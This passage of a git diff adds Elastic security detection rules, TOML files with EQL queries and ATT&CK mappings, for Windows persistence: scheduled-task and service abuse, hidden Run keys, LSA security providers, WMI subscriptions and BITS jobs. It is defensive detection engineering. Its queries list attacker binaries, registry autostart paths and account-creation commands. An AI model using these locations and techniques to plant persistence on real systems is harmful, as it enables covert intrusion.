a/rules/windows/persistence_suspicious_image_load_scheduled_task_ms_office.toml b/rules/windows/persistence_suspicious_image_load_scheduled_task_ms_office.toml new file mode 100644 index 000000000..51e7d5962 --- /dev/null +++ b/rules/windows/persistence_suspicious_image_load_scheduled_task_ms_office.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Identifies a suspicious image load (taskschd.dll) from Microsoft Office processes. This behavior may indicate +adversarial activity where a scheduled task is configured via Windows Component Object Model (COM). This technique can +be used to configure persistence and evade monitoring by avoiding the usage of the traditional Windows binary +(schtasks.exe) used to manage scheduled tasks. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Image Load (taskschd.dll) from MS Office" +references = [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf", +] +risk_score = 21 +rule_id = "baa5d22c-5e1c-4f33-bfc9-efa73bb53022" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +library where process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE") and + event.action : "load" and + event.category : "library" and + dll.name : "taskschd.dll" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_suspicious_scheduled_task_runtime.toml b/rules/windows/persistence_suspicious_scheduled_task_runtime.toml new file mode 100644 index 000000000..1a972a765 --- /dev/null +++ b/rules/windows/persistence_suspicious_scheduled_task_runtime.toml @@ -0,0 +1,76 @@ +[metadata] +creation_date = "2020/11/19" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = "Identifies execution of a suspicious program via scheduled tasks by looking at process lineage and command line usage." +false_positives = ["Legitimate scheduled tasks running third party software."] +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious Execution via Scheduled Task" +risk_score = 47 +rule_id = "5d1d6907-0747-4d5d-9b24-e4a18853dc0a" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + /* Schedule service cmdline on Win10+ */ + process.parent.name : "svchost.exe" and process.parent.args : "Schedule" and + /* add suspicious programs here */ + process.pe.original_file_name in + ( + "cscript.exe", + "wscript.exe", + "PowerShell.EXE", + "Cmd.Exe", + "MSHTA.EXE", + "RUNDLL32.EXE", + "REGSVR32.EXE", + "MSBuild.exe", + "InstallUtil.exe", + "RegAsm.exe", + "RegSvcs.exe", + "msxsl.exe", + "CONTROL.EXE", + "EXPLORER.EXE", + "Microsoft.Workflow.Compiler.exe", + "msiexec.exe" + ) and + /* add suspicious paths here */ + process.args : ( + "C:\\Users\\*", + "C:\\ProgramData\\*", + "C:\\Windows\\Temp\\*", + "C:\\Windows\\Tasks\\*", + "C:\\PerfLogs\\*", + "C:\\Intel\\*", + "C:\\Windows\\Debug\\*", + "C:\\HP\\*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +name = "Scheduled Task/Job" +reference = "https://attack.mitre.org/techniques/T1053/" + + [[rule.threat.technique.subtechnique]] + id = "T1053.005" + name = "Scheduled Task" + reference = "https://attack.mitre.org/techniques/T1053/005/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_suspicious_service_created_registry.toml b/rules/windows/persistence_suspicious_service_created_registry.toml new file mode 100644 index 000000000..9315c24f1 --- /dev/null +++ b/rules/windows/persistence_suspicious_service_created_registry.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/23" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a suspicious ImagePath value. This could be an indication of an adversary attempting to +stealthily persist or escalate privileges through abnormal service creation. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Suspicious ImagePath Service Creation" +risk_score = 73 +rule_id = "36a8e048-d888-4f61-a8b9-0f9e2e40f317" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where registry.path : "HKLM\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath" and + /* add suspicious registry ImagePath values here */ + registry.data.strings : ("%COMSPEC%*", "*\\.\\pipe\\*") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" +[[rule.threat.technique.subtechnique]] +id = "T1543.003" +name = "Windows Service" +reference = "https://attack.mitre.org/techniques/T1543/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_system_shells_via_services.toml b/rules/windows/persistence_system_shells_via_services.toml new file mode 100644 index 000000000..f306794a4 --- /dev/null +++ b/rules/windows/persistence_system_shells_via_services.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/10/17" + +[rule] +author = ["Elastic"] +description = """ +Windows services typically run as SYSTEM and can be used as a privilege escalation opportunity. Malware or penetration +testers may run a shell as a service to gain SYSTEM permissions. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "System Shells via Services" +risk_score = 47 +rule_id = "0022d47d-39c7-4f69-a232-4fe9dc7a3acd" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "services.exe" and + process.name : ("cmd.exe", "powershell.exe", "pwsh.exe", "powershell_ise.exe") and + + /* Third party FP's */ + not process.args : "NVDisplay.ContainerLocalSystem" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +reference = "https://attack.mitre.org/techniques/T1543/" +name = "Create or Modify System Process" +[[rule.threat.technique.subtechnique]] +id = "T1543.003" +reference = "https://attack.mitre.org/techniques/T1543/003/" +name = "Windows Service" + + + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" diff --git a/rules/windows/persistence_time_provider_mod.toml b/rules/windows/persistence_time_provider_mod.toml new file mode 100644 index 000000000..09aa535f6 --- /dev/null +++ b/rules/windows/persistence_time_provider_mod.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/01/19" +maturity = "production" +updated_date = "2022/02/28" + +[rule] +author = ["Elastic"] +description = """ +Identifies modification of the Time Provider. Adversaries may establish persistence by registering and enabling a +malicious DLL as a time provider. Windows uses the time provider architecture to obtain accurate time stamps from other +network devices or clients in the network. Time providers are implemented in the form of a DLL file which resides in the +System32 folder. The service W32Time initiates during the startup of Windows and loads w32time.dll. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Persistence via Time Provider Modification" +references = ["https://pentestlab.blog/2019/10/22/persistence-time-providers/"] +risk_score = 47 +rule_id = "14ed1aa9-ebfd-4cf9-a463-0ac59ec55204" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where event.type:"change" and + registry.path:"HKLM\\SYSTEM\\*ControlSet*\\Services\\W32Time\\TimeProviders\\*" and + registry.data.strings:"*.dll" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.003" +name = "Time Providers" +reference = "https://attack.mitre.org/techniques/T1547/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_user_account_added_to_privileged_group_ad.toml b/rules/windows/persistence_user_account_added_to_privileged_group_ad.toml new file mode 100644 index 000000000..c34f1770d --- /dev/null +++ b/rules/windows/persistence_user_account_added_to_privileged_group_ad.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2021/01/09" +maturity = "production" +updated_date = "2022/03/16" + +[rule] +author = ["Elastic", "Skoetting"] +description = """ +Identifies a user being added to a privileged group in Active Directory. Privileged accounts and groups in Active +Directory are those to which powerful rights, privileges, and permissions are granted that allow them to perform nearly +any action in Active Directory and on domain-joined systems. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-windows.*", "logs-system.*"] +language = "eql" +license = "Elastic License v2" +name = "User Added to Privileged Group in Active Directory" +references = [ + "https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory", +] +risk_score = 47 +rule_id = "5cd8e1f7-0050-4afc-b2df-904e40b2f5ae" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +iam where event.action == "added-member-to-group" and + group.name : ("Admin*", + "Local Administrators", + "Domain Admins", + "Enterprise Admins", + "Backup Admins", + "Schema Admins", + "DnsAdmins", + "Exchange Organization Administrators") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +reference = "https://attack.mitre.org/techniques/T1098/" +name = "Account Manipulation" + + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/windows/persistence_user_account_creation.toml b/rules/windows/persistence_user_account_creation.toml new file mode 100644 index 000000000..fda3e2312 --- /dev/null +++ b/rules/windows/persistence_user_account_creation.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Identifies attempts to create new local users. This is sometimes done by attackers to increase access to a system or +domain. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "User Account Creation" +risk_score = 21 +rule_id = "1aa9181a-492b-4c01-8b16-fa0735786b2b" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name : ("net.exe", "net1.exe") and + not process.parent.name : "net.exe" and + (process.args : "user" and process.args : ("/ad", "/add")) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1136" +reference = "https://attack.mitre.org/techniques/T1136/" +name = "Create Account" + + [[rule.threat.technique.subtechnique]] + id = "T1136.001" + name = "Local Account" + reference = "https://attack.mitre.org/techniques/T1136/001/" + + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/windows/persistence_user_account_creation_event_logs.toml b/rules/windows/persistence_user_account_creation_event_logs.toml new file mode 100644 index 000000000..2ddd2e4d0 --- /dev/null +++ b/rules/windows/persistence_user_account_creation_event_logs.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/01/04" +maturity = "development" +updated_date = "2021/09/23" + +[rule] +author = ["Skoetting"] +description = """ +Identifies attempts to create new local users. This is sometimes done by attackers to increase access to a system or +domain. +""" +false_positives = [ + """ + Legitimate local user creations may be done by a system or network administrator. Verify whether this is known + behavior in your environment. Local user creations by unfamiliar users or hosts should be investigated. If known + behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["winlogbeat-*", "logs-windows.*"] +language = "kuery" +license = "Elastic License v2" +name = "Creation of a local user account" +risk_score = 21 +rule_id = "38e17753-f581-4644-84da-0d60a8318694" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.module:security and event.code:4720 +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1136" +name = "Create Account" +reference = "https://attack.mitre.org/techniques/T1136/" + + [[rule.threat.technique.subtechnique]] + id = "T1136.001" + name = "Local Account" + reference = "https://attack.mitre.org/techniques/T1136/001/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_via_application_shimming.toml b/rules/windows/persistence_via_application_shimming.toml new file mode 100644 index 000000000..dc3528799 --- /dev/null +++ b/rules/windows/persistence_via_application_shimming.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2020/02/18" +maturity = "production" +updated_date = "2021/04/14" + +[rule] +author = ["Elastic"] +description = """ +The Application Shim was created to allow for backward compatibility of software as the operating system codebase +changes over time. This Windows functionality has been abused by attackers to stealthily gain persistence and arbitrary +code execution in legitimate Windows processes. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Application Shimming via Sdbinst" +risk_score = 21 +rule_id = "fd4a992d-6130-4802-9ff8-829b89ae801f" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name : "sdbinst.exe" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +reference = "https://attack.mitre.org/techniques/T1546/" +name = "Event Triggered Execution" +[[rule.threat.technique.subtechnique]] +id = "T1546.011" +reference = "https://attack.mitre.org/techniques/T1546/011/" +name = "Application Shimming" + + + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +reference = "https://attack.mitre.org/techniques/T1546/" +name = "Event Triggered Execution" +[[rule.threat.technique.subtechnique]] +id = "T1546.011" +reference = "https://attack.mitre.org/techniques/T1546/011/" +name = "Application Shimming" + + + +[rule.threat.tactic] +id = "TA0004" +reference = "https://attack.mitre.org/tactics/TA0004/" +name = "Privilege Escalation" + diff --git a/rules/windows/persistence_via_bits_job_notify_command.toml b/rules/windows/persistence_via_bits_job_notify_command.toml new file mode 100644 index 000000000..c2a38a42b --- /dev/null +++ b/rules/windows/persistence_via_bits_job_notify_command.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2021/12/04" +maturity = "production" +updated_date = "2021/12/04" + +[rule] +author = ["Elastic"] +description = """ +An adversary can use the Background Intelligent Transfer Service (BITS) SetNotifyCmdLine method to execute a program +that runs after a job finishes transferring data or after a job enters a specified state in order to persist on a system. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via BITS Job Notify Cmdline" +references = [ +"https://pentestlab.blog/2019/10/30/persistence-bits-jobs/", +"https://docs.microsoft.com/en-us/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline", +"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-setnotifycmdline", +"https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-2" +] +risk_score = 47 +rule_id = "c3b915e0-22f3-4bf7-991d-b643513c722f" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.parent.name : "svchost.exe" and process.parent.args : "BITS" and + not process.executable : + ("?:\\Windows\\System32\\WerFaultSecure.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\System32\\wermgr.exe", + "?:\\WINDOWS\\system32\\directxdatabaseupdater.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1197" +name = "BITS Jobs" +reference = "https://attack.mitre.org/techniques/T1197/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" diff --git a/rules/windows/persistence_via_hidden_run_key_valuename.toml b/rules/windows/persistence_via_hidden_run_key_valuename.toml new file mode 100644 index 000000000..616b7210a --- /dev/null +++ b/rules/windows/persistence_via_hidden_run_key_valuename.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/11/15" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies a persistence mechanism that utilizes the NtSetValueKey native API to create a hidden (null terminated) +registry key. An adversary may use this method to hide from system utilities such as the Registry Editor (regedit). +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via Hidden Run Key Detected" +references = [ + "https://github.com/outflanknl/SharpHide", + "https://github.com/ewhitehats/InvisiblePersistence/blob/master/InvisibleRegValues_Whitepaper.pdf", +] +risk_score = 73 +rule_id = "a9b05c3b-b304-4bf9-970d-acdfaef2944c" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +/* Registry Path ends with backslash */ +registry where /* length(registry.data.strings) > 0 and */ + registry.path : ("HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "HKU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "HKLM\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\", + "HKU\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.001" +name = "Registry Run Keys / Startup Folder" +reference = "https://attack.mitre.org/techniques/T1547/001/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_via_lsa_security_support_provider_registry.toml b/rules/windows/persistence_via_lsa_security_support_provider_registry.toml new file mode 100644 index 000000000..c6cf3278d --- /dev/null +++ b/rules/windows/persistence_via_lsa_security_support_provider_registry.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/11/18" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies registry modifications related to the Windows Security Support Provider (SSP) configuration. Adversaries may +abuse this to establish persistence in an environment. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Installation of Security Support Provider" +risk_score = 47 +rule_id = "e86da94d-e54b-4fb5-b96c-cecff87e8787" +severity = "medium" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where + registry.path : ("HKLM\\SYSTEM\\*ControlSet*\\Control\\Lsa\\Security Packages*", + "HKLM\\SYSTEM\\*ControlSet*\\Control\\Lsa\\OSConfig\\Security Packages*") and + not process.executable : ("C:\\Windows\\System32\\msiexec.exe", "C:\\Windows\\SysWOW64\\msiexec.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon Autostart Execution" +reference = "https://attack.mitre.org/techniques/T1547/" +[[rule.threat.technique.subtechnique]] +id = "T1547.005" +name = "Security Support Provider" +reference = "https://attack.mitre.org/techniques/T1547/005/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_via_telemetrycontroller_scheduledtask_hijack.toml b/rules/windows/persistence_via_telemetrycontroller_scheduledtask_hijack.toml new file mode 100644 index 000000000..49efdc32a --- /dev/null +++ b/rules/windows/persistence_via_telemetrycontroller_scheduledtask_hijack.toml @@ -0,0 +1,56 @@ +[metadata] +creation_date = "2020/08/17" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +Detects the successful hijack of Microsoft Compatibility Appraiser scheduled task to establish persistence with an +integrity level of system. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via TelemetryController Scheduled Task Hijack" +references = [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/?utm_content=131234033&utm_medium=social&utm_source=twitter&hss_channel=tw-403811306", +] +risk_score = 73 +rule_id = "68921d85-d0dc-48b3-865f-43291ca2c4f2" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.parent.name : "CompatTelRunner.exe" and process.args : "-cv*" and + not process.name : ("conhost.exe", + "DeviceCensus.exe", + "CompatTelRunner.exe", + "DismHost.exe", + "rundll32.exe", + "powershell.exe") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1053" +reference = "https://attack.mitre.org/techniques/T1053/" +name = "Scheduled Task/Job" + + [[rule.threat.technique.subtechnique]] + id = "T1053.005" + name = "Scheduled Task" + reference = "https://attack.mitre.org/techniques/T1053/005/" + + +[rule.threat.tactic] +id = "TA0003" +reference = "https://attack.mitre.org/tactics/TA0003/" +name = "Persistence" + diff --git a/rules/windows/persistence_via_update_orchestrator_service_hijack.toml b/rules/windows/persistence_via_update_orchestrator_service_hijack.toml new file mode 100644 index 000000000..47319b540 --- /dev/null +++ b/rules/windows/persistence_via_update_orchestrator_service_hijack.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/08/17" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies potential hijacking of the Microsoft Update Orchestrator Service to establish persistence with an integrity +level of SYSTEM. +""" +from = "now-9m" +index = ["winlogbeat-*", "logs-endpoint.events.*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via Update Orchestrator Service Hijack" +references = ["https://github.com/irsl/CVE-2020-1313"] +risk_score = 73 +rule_id = "265db8f5-fc73-4d0d-b434-6483b56372e2" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.parent.executable : "C:\\Windows\\System32\\svchost.exe" and + process.parent.args : "UsoSvc" and + not process.executable : + ( + "C:\\Windows\\System32\\UsoClient.exe", + "C:\\Windows\\System32\\MusNotification.exe", + "C:\\Windows\\System32\\MusNotificationUx.exe", + "C:\\Windows\\System32\\MusNotifyIcon.exe", + "C:\\Windows\\System32\\WerFault.exe", + "C:\\Windows\\System32\\WerMgr.exe" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1543" +name = "Create or Modify System Process" +reference = "https://attack.mitre.org/techniques/T1543/" +[[rule.threat.technique.subtechnique]] +id = "T1543.003" +name = "Windows Service" +reference = "https://attack.mitre.org/techniques/T1543/003/" + + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml b/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml new file mode 100644 index 000000000..1926dc7e4 --- /dev/null +++ b/rules/windows/persistence_via_windows_management_instrumentation_event_subscription.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2020/12/04" +maturity = "production" +updated_date = "2021/09/23" + +[rule] +author = ["Elastic"] +description = """ +An adversary can use Windows Management Instrumentation (WMI) to install event filters, providers, consumers, and +bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an +event and execute arbitrary code when that event occurs, providing persistence on a system. +""" +from = "now-9m" +index = ["logs-endpoint.events.*", "winlogbeat-*", "logs-windows.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via WMI Event Subscription" +risk_score = 21 +rule_id = "9b6813a1-daf1-457e-b0e6-0bb4e55b8a4c" +severity = "low" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + (process.name : "wmic.exe" or process.pe.original_file_name == "wmic.exe") and + process.args : "create" and + process.args : ("ActiveScriptEventConsumer", "CommandLineEventConsumer") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1546" +name = "Event Triggered Execution" +reference = "https://attack.mitre.org/techniques/T1546/" + + [[rule.threat.technique.subtechnique]] + id = "T1546.003" + name = "Windows Management Instrumentation Event Subscription" + reference = "https://attack.mitre.org/techniques/T1546/003/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/windows/persistence_via_wmi_stdregprov_run_services.toml b/rules/windows/persistence_via_wmi_stdregprov_run_services.toml new file mode 100644 index 000000000..69663f8c9 --- /dev/null +++ b/rules/windows/persistence_via_wmi_stdregprov_run_services.toml @@ -0,0 +1,95 @@ +[metadata] +creation_date = "2021/03/15" +maturity = "production" +updated_date = "2022/02/14" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the Windows Management Instrumentation StdRegProv (registry provider) to modify commonly abused +registry locations for persistence. +""" +from = "now-9m" +index = ["logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Persistence via WMI Standard Registry Provider" +references = ["https://docs.microsoft.com/en-us/previous-versions/windows/desktop/regprov/stdregprov"] +risk_score = 73 +rule_id = "70d12c9c-0dbd-4a1a-bc44-1467502c9cf6" +severity = "high" +tags = ["Elastic", "Host", "Windows", "Threat Detection", "Persistence"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +registry where + registry.data.strings != null and process.name : "WmiPrvSe.exe" and + registry.path : ( + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKLM\\Software\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\Run\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\*", + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\ServiceDLL", + "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\ImagePath", + "HKEY_USERS\\*\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell\\*", + "HKEY_USERS\\*\\Environment\\UserInitMprLogonScript", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Load", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\Shell", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logoff\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Logon\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Shutdown\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\\Scripts\\Startup\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Ctf\\LangBarAddin\\*\\FilePath", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Exec", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Internet Explorer\\Extensions\\*\\Script", + "HKEY_USERS\\*\\SOFTWARE\\Microsoft\\Command Processor\\Autorun" + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1547" +name = "Boot or Logon 